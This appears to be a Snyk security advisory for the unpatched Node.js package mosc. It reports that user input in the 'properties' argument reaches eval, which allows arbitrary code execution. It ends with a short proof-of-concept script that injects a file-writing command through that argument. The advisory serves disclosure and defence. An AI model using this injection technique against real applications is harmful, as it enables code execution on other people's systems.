Arbitrary Code Execution Affecting mosc package, versions *


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.64% (88th percentile)
Expand this section
NVD
8.6 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-MOSC-571492
  • published 5 Jun 2020
  • disclosed 5 Jun 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for mosc.

Overview

mosc is an a simple inline object model builder for NodeJS (A small port exists for client-side javascript).

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to properties argument is executed by the eval function, resulting in code execution.

PoC

var A = require("mosc");
var a = new A({});
var key = "";
var attack_code = "fs=require('fs');fs.writeFile('Song');"
var properties = "{a:*1*; " + attack_code + " //*}"
var base ="";

var a = a.parse_properties(key,properties,{},{})

References